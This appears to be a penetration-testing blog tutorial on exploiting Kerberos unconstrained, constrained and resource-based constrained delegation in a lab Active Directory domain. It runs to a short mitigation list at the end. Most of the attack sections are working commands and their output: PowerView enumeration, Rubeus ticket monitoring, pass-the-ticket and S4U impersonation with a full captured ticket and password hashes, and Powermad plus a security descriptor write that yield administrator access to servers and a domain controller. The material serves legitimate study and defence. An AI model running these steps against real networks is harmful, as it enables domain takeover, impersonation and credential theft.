Kerberos Delegation Attacks

Delegation is a feature of the Kerberos protocol that allows a user or computer account to impersonate other users. Microsoft have developed extensions to the Kerberos protocol to provide further functionality over the base protocol.

A common example of delegation in use is where a web server has delegation enabled so that credentials sent to it can be passed through to a backend database server. Delegation is required to overcome the Kerberos double hop problem.

In this article, we are going to be looking at exploiting three types of delegation;

Windows Server 2022 is used across the target network.

Unconstrained Delegation

Using Active Directory users and computers, we can configure a computer account to use unconstrained delegation by selecting the second checkbox:

An attacker with a an Active Directory user account can determine which machines have unconstrained delegation enabled by reviewing the useraccountcontrol field. This can be queried using PowerView.

Get-NetComputer -Unconstrained | Select-Object name,useraccountcontrol
name                                   useraccountcontrol
----                                   ------------------

In the above output we can see SERVER1 has unconstrained delegation enabled, as designated by the TRUSTED_FOR_DELEGATION attribute. If an attacker can gain local administrator access to the host, this condition can be exploited. Note, that domain controllers always have unconstrained delegation enabled.

In this scenario user Bob is a local administrator on SERVER1, but is not a Domain Administrator. They are unable to access the Domain Controllers C$ share:

C:\Users\bob>dir \DC1\C$
Access is denied.

Bob can use Rubeus on the host to monitor for Kerberos Ticket Granting Tickets (TGT).

Rubeus.exe monitor /interval:2 /nowrap
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


[*] Action: TGT Monitoring
[*] Monitoring every 2 seconds for new TGTs

As soon as user Alice creates a remote desktop session to the server, her TGT ticket is captured.

[*] 26/11/2022 16:12:19 UTC - Found new TGT:

  User                  :  alice@BORDERGATE.LOCAL
  StartTime             :  26/11/2022 08:10:46
  EndTime               :  26/11/2022 18:10:46
  RenewTill             :  30/11/2022 08:10:46
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :


Reviewing her group membership, we can see she is a member of the domain group, “Administrators” so she will have Administrative access to domain controllers.

net user alice /domain
The request will be processed at a domain controller for domain bordergate.local.

User name                    alice
Full Name                    alice
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            23/11/2022 07:27:18
Password expires             Never
Password changeable          24/11/2022 07:27:18
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   23/11/2022 08:10:46

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Desktop Users
Global Group memberships     *Domain Users
The command completed successfully.

Importing Alice’s ticket into our session allows us to access the domain controllers C$ share:

C:\>Rubeus.exe ptt /user:alice /ticket:doIFrDCCBaigAwIBBaEDAgEWooIEqDCCBKRhggSgMIIEnKADAgEFoRIbEEJPUkRFUkdBVEUuTE9DQUyiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEEJPUkRFUkdBVEUuTE9DQUyjggRYMIIEVKADAgESoQMCAQKiggRGBIIEQoZ4CCxWw3yFSTuimDA1dnaodP/WWkuJC1u58ZoYK42WjOmdIlxpjkK53cLBJ9fag58DDTh+xN8p7gMKjWMlH//5Izwn1kK4ItjkK27esPi/Ksb/rE/P/v4Iyu+kAb9Rzn2w8RkbN4XmDaxui/pLtIs3StCZrjeVxtZn0IfiYS18wSwCea+DKGIr1cUZRlOBZ7q6aeVoCpqzVQ3Gc/1hkNndQnM/60wm/RxmUiE7aN+Vtl9Ek8fD6+koDxN1flRdNck/5DQGoq4aTSpRPz2ry05jDxFGrYbKeWa1oicRbe1quCxFSlrHfXcu3qIfIHKq8eo0XjdRMSXCPWA6qyPeIR2FI27Fwu8GHCF5MRWe0PnYDPE1hAso4HfQdwcAFeWMMl6SJz1EzSkC9OMFCdjmk5CpOVAw3E/wR+v2FKJOnN3qJa6FQciRsL2o6Gitbn3PjbENMHS/xULgc3BWkEH1wVos44cDsTJrye3DV8LBvCfU2pGfzfhzfxDa5mliPJrZK50NjNirjgPxSeH22S4HHX7jijx89RI9mT4sLSdtpibQgDiMLu7YUUj5sS68Wf/szCK2jjXH776C1B+yuFqW3K+0FYJXiauWN/kMF+UMEhaWaSwzGdWKE8+gpomKUYK+nuZ+4guYh0BYVdM9Sl2sABoBKNkf7ri3kX/uFMmG+Y2X9t+fNVqvqrg9CatdsgFQyqLCRI0N/WPYgQ6GVgvKs/yLTsza7ZSa4FssJKRHeqQWRXF1POGFM/pHENhBaKb3Z+/kNNn9Oojw73TtfktsmQWCSYBQcHYfBL40UdlX69Wwd00rC3sVOjfWt2VRTsKe8XRQoBHyw/nMg/vV3Hd6y2StxQqaeHvpo/W59eKM1xvinoFODGV0ut4S12STLg5qZGCm59UIeEXSPa97PbqCq/GXm9h0JpGUPGS3Pii8QEu2DlikuYssqsQ2WaJUznwrOwoakMTWARO4UZQ3MMEVfVhyicLHPX5xrbZf/i5UNfKxPFiTM/FHjqM1ZWPrN97xbpoewx8hJnJVMV+s4LxYpM0654O+iUq3rpNUMu4pZGTlRlwGbnA864UisLtdPbHjTy/CzgIsjfgzwtCMeVVXhP6WZzpR5RCdYR0AE4+ZmaN+kJ9cI6I3d9GGIJcLWyMf0wciJUwbn5fZssH1QAWaBnAI8wSoYIyhz3QLUhYMs1C0Wj4SVGvgaC2j8JWj8v4ilUwF0wS1iteRvf925naA+6EP66dDrwTHXVZ2A0TopNfbC+hXpMpF83dV/3zXeR9h5GGx2i8xEZFNIYacuRSVJzWhfV/WaMf3f2EemPbm20eWa77zaLYEY2fASlJkTkl/Mh+MDLlUlKJvHN6d2v2vEx1EgWTK2Ox8Dv0MchSzWMfgKRJvAbdtnP8HwdGjwu4TmK/hA5nXO5Jlj78jNb1KvHxFXPI3KgVI/y5TcNCd4NTgZ4Cjge8wgeygAwIBAKKB5ASB4X2B3jCB26CB2DCB1TCB0qArMCmgAwIBEqEiBCBBgn8XDq1u5V+4zyVzGcGqJPxmrAMAzf9qaEbii8Az16ESGxBCT1JERVJHQVRFLkxPQ0FMohIwEKADAgEBoQkwBxsFYWxpY2WjBwMFAEDhAAClERgPMjAyMjExMjMxNjEwNDZaphEYDzIwMjIxMTI0MDIxMDQ2WqcRGA8yMDIyMTEzMDE2MTA0NlqoEhsQQk9SREVSR0FURS5MT0NBTKklMCOgAwIBAqEcMBobBmtyYnRndBsQQk9SREVSR0FURS5MT0NBTA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


[*] Action: Import Ticket
[+] Ticket successfully imported!


Current LogonId is 0:0x2ae49

Cached Tickets: (1)

#0>     Client: alice @ BORDERGATE.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 11/23/2022 8:10:46 (local)
        End Time:   11/23/2022 18:10:46 (local)
        Renew Time: 11/30/2022 8:10:46 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

C:\>dir \\DC1\C$
 Volume in drive \\DC1\C$ has no label.
 Volume Serial Number is 0E66-8756

 Directory of \\DC1\C$

08/05/2021  00:20    <DIR>          PerfLogs
23/11/2022  07:21    <DIR>          Program Files
08/05/2021  01:39    <DIR>          Program Files (x86)
23/11/2022  02:11    <DIR>          Users
23/11/2022  03:04    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  40,762,695,680 bytes free

Constrained Delegation

Unconstrained Delegation allows a user’s TGT to be used anywhere within an Active Directory domain. Since this is not desirable from a security perspective, Microsoft released two Kerberos extensions to allow limiting where captured TGT’s could be used; S4U2Self and S4U2Proxy.

To configure constrained delegation, create a user account within the domain, and provide it using a Service Principal Name using SetSPN.

setspn -a fax/SERVER1 BORDERGATE\svc_bordergate

With the SPN in place, the Delegation tab then appears on the users properties in Active Directory users and computers. We can configure the account to provide delegation for a specific computer and target service. In this instance, our service account (svc_bordergate) can impersonate users on the domain to access the fax service on the domain controller.

The issue with constrained delegation is an attacker who gains access to this service account can request a TGT for any user in the domain including domain administrators, and then access any service on the target host (irrespective of the service type configured in AD users & computers).

We can identify accounts with constrained delegation enabled using PowerView.

 Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto,useraccountcontrol | Format-Table -Wrap

samaccountname msds-allowedtodelegateto                                                                                                           useraccountcontrol
-------------- ------------------------                                                                                                           ------------------
svc_bordergate {fax/DC1.bordergate.local/bordergate.local, fax/DC1.bordergate.local, fax/DC1, fax/DC1.bordergate.local/BORDERGATE...}               NORMAL_ACCOUNT,

TRUSTED_TO_AUTH_FOR_DELEGATION indicates the account has constrained delegation enabled.

Let’s assume an attacker gains access to the password of this service account, either through Kerberoasting or dumping credentials from memory.

First generate the NTLM hash for the accounts password:

C:\>Rubeus.exe hash /password:Password1!

[*] Action: Calculate Password Hash(es)

[*] Input password             : Password1!
[*]       rc4_hmac             : 7FACDC498ED1680C4FD1448319A8C04F

Next, generate a TGT for the account:

C:\>Rubeus.exe asktgt /user:svc_bordergate /domain:bordergate.local /rc4:7FACDC498ED1680C4FD1448319A8C04F

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 7FACDC498ED1680C4FD1448319A8C04F
[*] Building AS-REQ (w/ preauth) for: 'bordergate.local\svc_bordergate'
[*] Using domain controller:
[+] TGT request successful!
[*] base64(ticket.kirbi):


  ServiceName              :  krbtgt/bordergate.local
  ServiceRealm             :  BORDERGATE.LOCAL
  UserName                 :  svc_bordergate
  UserRealm                :  BORDERGATE.LOCAL
  StartTime                :  24/11/2022 06:55:45
  EndTime                  :  24/11/2022 16:55:45
  RenewTill                :  01/12/2022 06:55:45
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  QH6xX39NT3PxZfxVFWI03g==
  ASREP (key)              :  7FACDC498ED1680C4FD1448319A8C04F

We can then use the alternative service parameter to provide us with a CIFS service ticket, allowing us to access the systems C$ share:

C:\>Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:fax/DC1.bordergate.local /altservice:cifs /ptt /ticket:doIF7jCCBeqgAwIBBaEDAgEWooIE8TCC<snip>

[*] Building S4U2self request for: 'svc_bordergate@BORDERGATE.LOCAL'
[*] Using domain controller: DC1.bordergate.local (
[*] Sending S4U2self request to
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'svc_bordergate@BORDERGATE.LOCAL'
[*] base64(ticket.kirbi):


[*] Impersonating user 'Administrator' to target SPN 'fax/DC1.bordergate.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Building S4U2proxy request for service: 'fax/DC1.bordergate.local'
[*] Using domain controller: DC1.bordergate.local (
[*] Sending S4U2proxy request to domain controller
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/DC1.bordergate.local':


[+] Ticket successfully imported!

C:\>dir \\DC1.bordergate.local\C$
 Volume in drive \\DC1.bordergate.local\C$ has no label.
 Volume Serial Number is 0E66-8756

 Directory of \\DC1.bordergate.local\C$

08/05/2021  00:20    <DIR>          PerfLogs
23/11/2022  07:21    <DIR>          Program Files
08/05/2021  01:39    <DIR>          Program Files (x86)
23/11/2022  02:11    <DIR>          Users
23/11/2022  03:04    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  40,670,715,904 bytes free

The alternative service can be set to “http” to provide WinRM/PSRemoting access;

PS C:\> .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:fax/DC1.bordergate.local /altservice:http /ptt /ticket:doIF7jCCBeqgAwIBBaEDAgEW<snip>

[*] Action: S4U

[*] Building S4U2self request for: 'svc_bordergate@BORDERGATE.LOCAL'
[*] Using domain controller: DC1.bordergate.local (
[*] Sending S4U2self request to
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'svc_bordergate@BORDERGATE.LOCAL'
[*] base64(ticket.kirbi):


[*] Impersonating user 'Administrator' to target SPN 'fax/DC1.bordergate.local'
[*]   Final ticket will be for the alternate service 'http'
[*] Building S4U2proxy request for service: 'fax/DC1.bordergate.local'
[*] Using domain controller: DC1.bordergate.local (
[*] Sending S4U2proxy request to domain controller
[+] S4U2proxy success!
[*] Substituting alternative service name 'http'
[*] base64(ticket.kirbi) for SPN 'http/DC1.bordergate.local':

[+] Ticket successfully imported!
PS C:\> Enter-PSSession DC1.bordergate.local
[DC1.bordergate.local]: PS C:\Users\Administrator\Documents> whoami

Resource Based Constrained Delegation

This form of delegation has been available since Windows Server 2012. Unlike the other forms of delegation, the destination resource is configured to state which systems and accounts can perform delegation of it’s services.

Specifically, the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity Active Directory attribute defines this behavior. There are a couple ways this can be exploited;

  • Compromise an account or system specified in another systems ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute, and perform delegation attacks against the system as previously described.
  • If an attacker has GenericWrite capabilities over a target machine account, they can add or manipulate the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute, and add their system to the record. They can then perform delegation for any user in the domain to that system.

Let’s look at option 2.

User Bob aims to access resources on SERVER2 as an administrative user. There is a write DACL in place to allow Bob to modify SERVER2.

Bob can determine they have GenericWrite access to SERVER2 using PowerView.

Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("BORDERGATE\bob")) {$_}}

AceType               : AccessAllowed
ObjectDN              : CN=SERVER2,CN=Computers,DC=bordergate,DC=local
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-1398291676-1213657768-3700356088-1107
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-1398291676-1213657768-3700356088-1105
AccessMask            : 131132
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : BORDERGATE\bob

Active Directory accounts can create up to ten machine accounts by default. Bob uses Powermad.Ps1 to create a new machine account that will be the delegation source and grab it’s SID.

PS C:\> New-MachineAccount -MachineAccount phantom -Password $(ConvertTo-SecureString 'Password1!' -AsPlainText -Force)
[+] Machine account phantom added
PS C:\> Get-DomainComputer phantom | Select-Object objectsid

Next Bob creates a security descriptor based on the SID of our newly created phantom machine account, and applies the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute to the SERVER2 target machine.

PS C:\>$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1398291676-1213657768-3700356088-1109)"
PS C:\>$SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\>$SD.GetBinaryForm($SDBytes, 0)
PS C:\> Get-DomainComputer SERVER2 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
VERBOSE: [Get-DomainObject] Extracted domain 'bordergate.local' from 'CN=SERVER2,CN=Computers,DC=bordergate,DC=local'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC1.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=SERVER2,CN=Computers,DC=bordergate,DC=local)))
VERBOSE: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0
 5 21 0 0 0 220 60 88 83 168 242 86 72 248 243 142 220 85 4 0 0' for object 'SERVER2$'

Finally, Bob uses Rubeus to create a TGT for the Domain Administrator, inject it into their session and access the C$ share of SERVER2.

PS C:\> .\Rubeus.exe hash /password:Password1! /user:phantom /domain:bordergate.local

[*] Action: Calculate Password Hash(es)

[*] Input password             : Password1!
[*] Input username             : phantom
[*] Input domain               : bordergate.local
[*] Salt                       : BORDERGATE.LOCALphantom
[*]       rc4_hmac             : 7FACDC498ED1680C4FD1448319A8C04F
[*]       aes128_cts_hmac_sha1 : 1E97B26E3C067A7DF3DE141043A1BE18
[*]       aes256_cts_hmac_sha1 : C1CF1D92D871F8026A9C0F35241E1B6A93CE8669E0FC68F008F076485EFA276A
[*]       des_cbc_md5          : 9B15516B4ADA20DF

PS C:\> .\Rubeus.exe s4u /user:phantom$ /rc4:7FACDC498ED1680C4FD1448319A8C04F /impersonateuser:Administrator /msdsspn:cifs/server2.bordergate.local /ptt
PS C:\> klist

Current LogonId is 0:0x32473

Cached Tickets: (1)

#0>     Client: Administrator @ BORDERGATE.LOCAL
        Server: CIFS/server2.bordergate.local @ BORDERGATE.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 11/25/2022 2:38:24 (local)
        End Time:   11/25/2022 12:38:24 (local)
        Renew Time: 12/2/2022 2:38:24 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

PS C:\> dir \\server2.bordergate.local\C$

    Directory: \\server2.bordergate.local\C$

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        08/05/2021     01:20                PerfLogs
d-r---        25/11/2022     01:19                Program Files
d-----        08/05/2021     02:39                Program Files (x86)
d-r---        25/11/2022     01:17                Users
d-----        25/11/2022     02:34                Windows

Preventing Delegation Attacks

Some things that can help lessen the impact of delegation attacks;

  • Limit usage of delegation where possible.
  • Use Resource Based Constrained Delegation where possible.
  • Enable the option “Account is sensitive and cannot be delegated” on administrative accounts to prevent them from being used in delegation attacks.